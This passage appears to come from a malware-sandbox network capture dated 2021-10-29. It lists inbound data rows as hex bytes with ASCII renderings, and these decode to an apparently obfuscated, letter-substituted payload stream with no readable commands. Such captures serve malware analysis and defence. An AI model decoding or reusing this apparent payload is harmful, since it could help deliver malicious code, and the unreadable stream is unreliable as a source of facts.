71 57 45 20 70 45 20 70 71 20 71 Data Ascii: MM qWE pE pq qD pq DM qWE pE pJ qW O O O pq ME qWE pE pJ qW O O O pq qOO qWE pE pJ qW O O O pq WJ qWE pE pJ qW O O O pq WJ qWE pE pq qW pq ED qWE pE pJ qm O O O pq MM qWE pE pJ qm O O O pq MM qWE pE pJ qm O O O pq WE qWE pE pJ qm O O O pq qOO qWE pE pq q
2021-10-29 18:10:39 UTC	455	IN	Data Raw: 57 45 20 70 45 20 70 71 20 4a 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 6d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 57 57 20 71 57 45 20 70 45 20 70 71 20 71 4d 20 70 71 20 71 4f 4d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 71 20 71 58 20 70 71 20 Data Ascii: WE pE pq JO pq qOq qWE pE pJ qM O O O pq mM qWE pE pJ qM O O O pq mX qWE pE pJ qM O O O pq Wm qWE pE pJ qM O O O pq WW qWE pE pq qM pq qOM qWE pE pJ qX O O O pq Wm qWE pE pJ qX O O O pq MM qWE pE pJ qX O O O pq ME qWE pE pJ qX O O O pq WO qWE pE pq qX pq
2021-10-29 18:10:39 UTC	471	IN	Data Raw: 45 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 70 71 20 57 71 20 71 57 45 20 70 45 20 4a 4a 20 70 71 20 45 70 20 71 57 45 20 71 71 57 20 71 58 45 20 4f 20 4f 20 71 4f 20 6d 4a 20 71 4d 20 6d 58 20 6d 20 4f 20 4a 57 4a 20 71 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 70 71 20 71 4a 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 6d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 71 20 71 71 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 20 70 4a 20 71 4f 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 Data Ascii: E pJ O O O O pq Wq qWE pE JJ pq Ep qWE qqW qXE O O qO mJ qM mX m O JWJ q O O p O O qE pq qJ qmq qpD O O q pE pJ qq O O O pq mM qWE pE pJ qq O O O pq qOq qWE pE pJ qq O O O pq mX qWE pE pJ qq O O O pq Wm qWE pE pq qq pq qOX qWE pE pJ qO O O O pq WJ qWE pE
2021-10-29 18:10:39 UTC	487	IN	Data Raw: 20 57 58 20 70 70 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4f 4d 20 71 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4a 58 20 70 71 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4a 71 20 71 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4d 4d 20 71 57 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 57 70 20 4a 57 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 58 6d 20 45 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 71 71 20 70 70 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 57 6d 20 70 44 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 70 58 20 70 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4d 20 71 44 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4f 6d 20 6d 4f 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4f 20 70 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 Data Ascii: WX pp qWW q XD qJX JOM qM qWW q XD qJX JJX pq qWW q XD qJX qJq qM qWW q XD qJX qMM qW qWW q XD qJX JWp JW qWW q XD qJX qXm E qWW q XD qJX Jqq pp qWW q XD qJX Wm pD qWW q XD qJX qpX pM qWW q XD qJX JM qD qWW q XD qJX JOm mO qWW q XD qJX qO p qWW q XD qJX
2021-10-29 18:10:39 UTC	503	IN	Data Raw: 20 58 57 20 57 20 4d 20 4f 20 4a 4a 4f 20 70 20 4d 4f 20 57 20 4d 20 4f 20 4a 4a 6d 20 70 20 4d 57 20 57 20 4d 20 4f 20 4a 4a 58 20 70 20 71 4f 4f 20 57 20 4d 20 4f 20 4a 70 4a 20 70 20 71 4f 57 20 57 20 4d 20 4f 20 4a 70 44 20 70 20 71 71 4f 20 57 20 4d 20 4f 20 4a 6d 4f 20 70 20 71 71 57 20 57 20 4d 20 4f 20 4a 6d 6d 20 70 20 71 4a 4f 20 57 20 4d 20 4f 20 4a 6d 58 20 70 20 71 4a 57 20 57 20 4d 20 4f 20 4a 57 4a 20 70 20 71 70 4f 20 57 20 4d 20 4f 20 4f 20 6d 20 71 70 57 20 57 20 4d 20 4f 20 6d 20 6d 20 71 6d 4f 20 57 20 4d 20 4f 20 58 20 6d 20 71 6d 57 20 57 20 4d 20 4f 20 71 4a 20 6d 20 71 57 4f 20 57 20 4d 20 4f 20 71 44 20 6d 20 71 57 57 20 57 20 4d 20 4f 20 4a 4f 20 6d 20 71 44 4f 20 57 20 4d 20 4f 20 4a 6d 20 6d 20 71 44 57 20 57 20 4d 20 4f 20 4a Data Ascii: XW W M O JJO p MO W M O JJm p MW W M O JJX p qOO W M O JpJ p qOW W M O JpD p qqO W M O JmO p qqW W M O Jmm p qJO W M O JmX p qJW W M O JWJ p qpO W M O O m qpW W M O m m qmO W M O X m qmW W M O qJ m qWO W M O qD m qWW W M O JO m qDO W M O Jm m qDW W M O J
2021-10-29 18:10:39 UTC	519	IN	Data Raw: 4f 20 4d 45 20 71 71 58 20 71 4f 71 20 71 71 4f 20 71 71 45 20 71 4f 71 20 4f 20 58 4a 20 71 4f 71 20 71 71 4a 20 4d 45 20 71 71 58 20 71 4f 71 20 4f 20 71 4f 4f 20 71 4f 57 20 71 71 57 20 4d 45 20 71 4f 70 20 71 4f 70 20 71 71 6d 20 71 4f 71 20 71 4f 70 20 4d 45 20 71 71 44 20 71 4f 57 20 71 71 58 20 71 4f 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 45 70 20 71 71 57 20 58 4f 20 71 71 6d 20 71 4f 57 20 71 4f 4d 20 71 4f 57 20 71 71 44 20 71 4f 57 20 71 71 58 20 71 4f 71 20 4f 20 4d 57 20 4d 57 20 4d 57 20 45 58 20 71 71 71 20 71 71 4f 20 4d 45 20 71 71 57 20 71 71 57 20 71 4f 71 20 71 71 6d 20 71 71 44 20 71 4f 57 20 71 71 58 20 71 4f 71 20 4f 20 71 4f 6d 20 71 4f 71 20 4d 45 20 71 71 58 20 71 4f 57 20 71 4f 71 20 71 71 6d 20 6d 44 20 71 4f Data Ascii: O ME qqX qOq qqO qqE qOq O XJ qOq qqJ ME qqX qOq O qOO qOW qqW ME qOp qOp qqm qOq qOp ME qqD qOW qqX qOq O qOp qOq qqD MW Ep qqW XO qqm qOW qOM qOW qqD qOW qqX qOq O MW MW MW EX qqq qqO ME qqW qqW qOq qqm qqD qOW qqX qOq O qOm qOq ME qqX qOW qOq qqm mD qO
2021-10-29 18:10:39 UTC	535	IN	Data Raw: 4d 58 20 71 71 45 20 71 71 57 20 71 4f 6d 20 71 4f 71 20 71 71 57 20 4f 20 71 4f 57 20 71 71 4f 20 4d 45 20 4d 4d 20 4d 4d 20 71 71 45 20 71 71 6d 20 4d 45 20 4d 4d 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 71 4f 4a 20 71 71 71 20 71 71 6d 20 71 4f 71 20 4d 4d 20 4d 45 20 71 4f 4f 20 71 4f 4f 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 45 70 20 71 4f 4f 20 71 4f 71 20 71 71 4f 20 71 71 44 20 71 4f 57 20 71 4f 4a 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 58 4f 20 71 4f 71 20 71 71 4f 20 71 71 44 20 4d 45 20 71 71 6d 20 4d 4d 20 71 4f 6d 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 71 4f 4f 20 71 4a 71 20 71 71 57 20 71 71 44 20 71 71 6d 20 71 71 71 20 71 71 4a 20 71 4f 6d 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 71 71 57 20 71 4a 71 20 71 71 4f Data Ascii: MX qqE qqW qOm qOq qqW O qOW qqO ME MM MM qqE qqm ME MM qOW qOq qqW O qOJ qqq qqm qOq MM ME qOO qOO qOW qOq qqW O Ep qOO qOq qqO qqD qOW qOJ qOW qOq qqW O XO qOq qqO qqD ME qqm MM qOm qOW qOq qqW O qOO qJq qqW qqD qqm qqq qqJ qOm qOW qOq qqW O qqW qJq qqO
2021-10-29 18:10:39 UTC	551	IN	Data Raw: 20 4f 20 71 4a 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 57 45 20 4f 20 71 71 4f 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 45 4f 20 4f 20 71 71 44 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 4d 4f 20 4f 20 58 70 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 58 45 20 4f 20 57 4a 20 4f 20 71 4f 70 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 57 4a 20 4f 20 71 4f 70 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 58 6d 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 6d 4d 20 4f 20 71 71 58 20 4f 20 4d 4f 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71 71 45 20 4f 20 Data Ascii: O qJq O DD O qqM O MM O qOM O WE O qqO O MM O qOM O EO O qqD O Ep O Eq O EX O qOm O MX O qOM O Wp O qqX O qOO O DE O DD O qOW O MO O Xp O DD O qJq O qOO O XE O WJ O qOp O ME O XE O WJ O qOp O XJ O DM O WE O Xm O Ep O Eq O mM O qqX O MO O Eq O XW O qqE O
2021-10-29 18:10:39 UTC	567	IN	Data Raw: 45 4d 20 4f 20 57 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 45 4f 20 4f 20 71 4f 58 20 4f 20 4d 4f 20 4f 20 71 4f 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 45 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 58 70 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 57 6d 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4a 4f 20 4f 20 6d 58 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 71 4f 57 Data Ascii: EM O WD O qJq O DW O DW O DE O EO O qqM O EO O qOX O MO O qOJ O qOM O qqO O mE O qOO O qOq O qJq O EX O qOJ O qOO O qOD O qqq O Xp O qOE O DW O DW O DW O Ep O qqD O EO O Wm O Ep O XX O DW O qJO O mX O XX O qqM O Wm O EE O XJ O DW O DW O EJ O Xq O DX O qOW
2021-10-29 18:10:39 UTC	583	IN	Data Raw: 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 58 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 71 4f 45 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 44 45 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 71 70 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 Data Ascii: O qqD O EO O mE O Ep O qqD O EX O DM O Ep O qOE O DD O qOW O mE O XO O qqm O DE O XO O WD O XD O qqp O EE O DD O DW O DW O Ep O qqX O qqM O mE O Wq O XW O EE O mE O qJO O XE O XW O qqM O DM O DW O DW O Wm O qqM O qOD O mE O EO O ME O qOD O DW O Xq O DW O
2021-10-29 18:10:39 UTC	599	IN	Data Raw: 4f 20 45 70 20 4f 20 57 4f 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 58 58 20 4f 20 58 45 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 57 4f 20 4f 20 57 4a 20 4f 20 71 71 44 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 57 45 20 4f 20 44 45 20 4f 20 45 4d 20 4f 20 71 71 57 20 4f 20 58 57 20 4f 20 4d 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 58 58 20 4f 20 57 6d 20 4f 20 Data Ascii: O Ep O WO O mM O Ep O XO O mE O mE O mE O mp O qOD O DW O ED O DW O DW O DW O qOD O XX O XE O qqq O Wm O ED O qOp O qqW O DW O DW O DW O qJJ O WO O WJ O qqD O mM O DX O Ep O qqD O WE O DE O EM O qqW O XW O MO O qOD O qOE O qOJ O qOO O DW O EX O XX O Wm O
2021-10-29 18:10:39 UTC	615	IN	Data Raw: 4f 20 6d 70 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 6d 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 45 4a 20 4f 20 71 71 58 20 4f 20 57 45 20 4f 20 6d 58 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 71 71 4d 20 4f 20 71 4a 4f 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 71 71 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 71 4f 57 20 4f 20 6d 58 20 4f 20 71 71 4d 20 4f 20 71 4f 45 20 4f 20 44 58 20 4f 20 45 71 20 4f 20 4d 45 20 4f 20 45 6d 20 4f 20 44 57 20 Data Ascii: O mp O XM O EX O mE O DD O DW O DD O mM O EJ O qqX O WE O mX O Em O DW O qOD O qqq O ED O XO O mE O mE O mE O WJ O XX O DW O qOO O DD O EJ O mE O XJ O qqM O qJO O Xq O Wm O EE O qqp O DW O DW O DW O DD O MO O qOW O mX O qqM O qOE O DX O Eq O ME O Em O DW
2021-10-29 18:10:39 UTC	631	IN	Data Raw: 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 45 44 20 4f 20 57 44 20 4f 20 6d 70 20 4f 20 71 4f 57 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 58 70 20 4f 20 45 44 20 4f 20 58 58 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 6d 4d 20 4f 20 6d 45 20 4f 20 45 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 45 20 4f 20 71 4f 71 Data Ascii: DW O qOW O WD O qqX O mE O XW O DW O Xp O ED O WD O mp O qOW O DE O DD O DW O DW O DW O Wm O qqM O Xp O ED O XX O DE O Xq O EE O mE O Wq O XW O Xq O qOW O WD O qqX O mE O qOO O Xq O qJJ O mE O qOO O Xq O qOD O qqq O mM O mE O ED O mE O mE O mM O WE O qOq
2021-10-29 18:10:39 UTC	647	IN	Data Raw: 4f 20 4f 20 6d 70 20 4f 20 71 4f 57 20 4f 20 57 6d 20 4f 20 57 6d 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 71 4f 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 58 20 4f 20 57 44 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20 4f 20 71 71 4a 20 4f 20 6d 70 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 6d 45 20 4f Data Ascii: O O mp O qOW O Wm O Wm O qqX O mE O mE O XW O mM O EX O Xm O XD O qOM O qOD O qJJ O DW O qqM O DW O DW O mE O Wq O XX O WD O qOW O WD O qOJ O qqq O qqJ O mp O qqm O mE O mE O mM O EX O XE O XW O mM O EX O qqq O DD O DW O Xq O DW O DW O XO O WE O mM O mE O
2021-10-29 18:10:39 UTC	663	IN	Data Raw: 20 58 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 44 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 58 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 44 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 6d 4d 20 4f 20 58 45 20 4f 20 45 44 20 4f 20 57 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 71 4f 45 20 4f 20 6d 70 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 71 71 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 45 58 20 4f 20 6d 4d 20 4f 20 44 44 20 4f 20 57 4a 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 57 6d 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 4d 58 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 58 20 4f Data Ascii: XJ O qOJ O qOD O qOJ O qOJ O qOJ O qOW O ED O XJ O qOJ O qOD O Em O qqM O mM O XE O ED O WW O Ep O XO O qOE O mp O Ep O XO O qqW O EJ O Ep O XO O mE O DW O XD O EX O mM O DD O WJ O qqW O Eq O Wm O qOJ O qOp O DW O DW O DW O DX O MX O XJ O Xq O qOW O EX O
2021-10-29 18:10:39 UTC	679	IN	Data Raw: 20 45 4f 20 4f 20 45 4f 20 4f 20 71 71 70 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 58 70 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 57 4f 20 4f 20 58 45 20 4f 20 58 58 20 4f 20 58 57 20 4f 20 45 6d 20 4f 20 71 4f 57 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 4d 4f 20 4f 20 71 4f 57 20 4f 20 44 4d 20 4f 20 57 71 20 4f 20 58 58 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 57 71 20 4f 20 57 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 45 58 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 4d Data Ascii: EO O EO O qqp O DW O qqq O XO O DW O DE O EM O qOW O Xp O WD O mE O mE O mE O XE O XM O XX O WO O XE O XX O XW O Em O qOW O qJJ O mp O EO O mE O Wq O Xq O DX O MO O qOW O DM O Wq O XX O mM O WW O DX O qOp O Wq O WJ O Xq O DW O EJ O Xq O EX O mE O Wq O XM
2021-10-29 18:10:39 UTC	695	IN	Data Raw: 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 71 4f 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 71 4a 4f 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 71 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 70 20 4f 20 58 4f 20 4f 20 71 71 71 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 4d 58 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 71 71 70 20 4f 20 45 58 20 4f 20 58 4a 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 6d 45 Data Ascii: qqM O DW O DW O XE O XD O qqO O DX O XD O XM O qqX O qqW O qOp O mp O qJO O DW O MO O qqq O EX O qOX O qqM O DW O DD O qqp O XO O qqq O mM O EO O qqM O qOM O qqq O DW O XW O EM O qOp O MX O XW O qqM O DW O DW O ME O qOp O qqp O EX O XJ O MM O DD O Xq O mE
2021-10-29 18:10:39 UTC	711	IN	Data Raw: 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 58 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 4d 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 4d 4f 20 4f 20 58 58 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 44 4d 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 58 20 4f 20 6d 70 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 57 4a 20 4f 20 58 4d 20 4f 20 45 4d 20 4f 20 58 58 20 4f 20 57 4a 20 4f 20 6d 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 6d 20 4f 20 45 58 20 4f 20 58 58 20 4f 20 57 6d 20 4f 20 44 45 20 4f 20 71 71 6d 20 4f 20 6d 70 Data Ascii: mE O mE O mM O MX O qqq O MX O XW O qqq O DW O DW O EO O qOM O ED O qJJ O mM O WW O qqJ O DW O DW O DW O DW O DW O EO O MO O XX O qOW O mE O DM O qJJ O mE O qJJ O qOX O mp O DD O EJ O WJ O XM O EM O XX O WJ O mX O qOJ O qOm O EX O XX O Wm O DE O qqm O mp
2021-10-29 18:10:39 UTC	727	IN	Data Raw: 71 58 20 4f 20 45 4d 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 57 44 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 45 45 20 4f 20 71 71 58 20 4f 20 57 45 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 71 71 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 6d 45 Data Ascii: qX O EM O mE O mM O DW O WD O qOm O MM O DD O mX O EE O qqX O WE O WO O EX O EO O DE O EX O qOm O Xq O DX O mp O mE O mE O WE O qqq O mE O qqM O DW O DW O DW O EO O DX O qqq O qqm O qOE O DW O DW O DW O Ep O XO O DM O DM O Ep O WO O EO O DW O XO O WW O mE
2021-10-29 18:10:39 UTC	743	IN	Data Raw: 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45 70 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 71 58 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 58 6d 20 4f 20 57 4a 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 45 58 20 4f 20 58 45 20 4f 